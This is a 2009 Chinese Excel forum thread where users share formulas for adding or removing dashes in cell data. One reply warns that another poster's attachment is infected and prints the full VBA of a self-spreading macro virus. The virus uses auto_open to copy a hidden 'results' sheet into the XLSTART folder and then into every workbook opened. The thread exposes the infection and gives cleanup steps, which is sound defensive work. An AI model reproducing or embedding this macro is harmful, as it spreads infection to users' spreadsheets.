[已解决]有关数据插入符号的求助

小乖

请问各位大侠，有何种公式、方法能够达到表中的“返还值”栏目“数据返还值”栏中的效果

t2vJVIUJ.rar (1.65 KB, 下载次数: 0)

2009-12-30 17:39 上传

点击文件名下载附件
有关数据插入符号的求助

最佳答案

月排行榜 / 总排行榜

笨得很呀2007

2009-12-30 18:42

=IF(LEN(A3)=LENB(A3),SUBSTITUTE(A3,"-",)*1,SUBSTITUTE(REPLACE(A3,3,,"-"),"--","-"))

献丑了。这个应该难不到楼主吧。

JWnjc8ZG.rar (3.6 KB, 下载次数: 0)

2009-12-30 18:43 上传

点击文件名下载附件

[此贴子已经被作者于2009-12-30 18:42:58编辑过]

跳转到最佳答案楼层

tkgg93

B2=IF(ISNUMBER(--LEFT(A2)),--SUBSTITUTE(A2,"-",""),A2)

不知道在论坛上下载谁的附件弄上的.谢谢4楼提醒,删除附件,直接帖公式

删除方法,把这个文件夹里面的文件删除
C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART

[此贴子已经被作者于2009-12-30 20:03:35编辑过]

笨得很呀2007

=IF(LEN(A3)=LENB(A3),SUBSTITUTE(A3,"-",)*1,SUBSTITUTE(REPLACE(A3,3,,"-"),"--","-"))

献丑了。这个应该难不到楼主吧。

JWnjc8ZG.rar (3.6 KB, 下载次数: 0)

2009-12-30 18:43 上传

点击文件名下载附件

[此贴子已经被作者于2009-12-30 18:42:58编辑过]

喜多多

程版

你的附件有

Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

小乖

谢谢了

hx910

学习一下

chk711

学习一下